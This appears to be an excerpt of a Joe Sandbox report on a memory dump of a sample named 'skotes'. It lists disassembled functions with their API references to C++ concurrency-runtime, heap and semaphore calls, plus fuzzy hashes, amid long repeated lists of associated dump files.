Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 2d9c06f1f1b088054b1c4141fb32164bcb6034da48d58f272cc5a6f50481186e
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: D501D636720515A7CF16FE958841AAF77A9DF54350F110055FC12AB282DA71EE209BE0

Function 00289510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00289519

Part of subcall function 0027F4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00285486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 0028953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00289550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00289559

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 1d7b953c175438f93a967cf8a3958ccc594d5b3924979cd8e320da1cb5c8ad1f
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: E9F0A075222A205FEA62BB689851F7A2394DF41711F44C41DE51B972C2CE28E9A2CF90

Function 0029F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0029F232
__freea.LIBCMT ref: 0029F298

Part of subcall function 0029B04B: RtlAllocateHeap.NTDLL(00000000,53F67923,?,?,0027D3FC,53F67923,?,00277A8B,?,?,?,?,?,?,00267465,?), ref: 0029B07D

Strings

Z),m), xrefs: 0029F1D2

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Z),m)
API String ID: 809856575-694901034
Opcode ID: e930b3fe8c9e1c2881de0655d854d0e64b9d5457ec9f5d6e398e2d88759cb476
Instruction ID: a9853f2fbd6360d7210610212e87abbb92372e6fb01ad5066c8a8bff4b417697
Opcode Fuzzy Hash: e930b3fe8c9e1c2881de0655d854d0e64b9d5457ec9f5d6e398e2d88759cb476
Instruction Fuzzy Hash: 9E31CD71D2021AABDF619F64DD45EAF7BA9EF85310F044169FC18AB251EB308D61CBA0

Function 00291704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00291764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 002917AF

Strings

pContext, xrefs: 002917A7

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 13ecbbfea1bed5ed64b7b6ec3dd193b4517e0fab813f7d23240d591bc3e5e318
Instruction ID: d50dfe5f7c9f2fe2ab10e42b6dbdaffefed11031dd4dfcc702114b7f1793de9d
Opcode Fuzzy Hash: 13ecbbfea1bed5ed64b7b6ec3dd193b4517e0fab813f7d23240d591bc3e5e318
Instruction Fuzzy Hash: D0113636B202129BCF15FFA9C8859ADB765AF84360B054069EC0297382CB70ED35CFD0

Function 00280C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00280CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00280D2A

Strings

p[,, xrefs: 00280CCF

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[,
API String ID: 3303180142-3223804222
Opcode ID: f4ac4fce8ceb00a8c673c4da7b0db9b10c0bbe7b4841dc515c9771ec661d656f
Instruction ID: 0e652684ae5423b4d4cc02bba4be0a7936eb5c955980d56671d673ab49699d3f
Opcode Fuzzy Hash: f4ac4fce8ceb00a8c673c4da7b0db9b10c0bbe7b4841dc515c9771ec661d656f
Instruction Fuzzy Hash: 0E01F5389376158ADB90BFF8659175D6AE0AF08304F60405EE408EB2C2CE709E648B61

Function 0027CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,002865E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0027CAFC
CreateSemaphoreW.KERNEL32(?,002865E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0027CB1E

Strings

e(, xrefs: 0027CB12, 0027CAF0

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
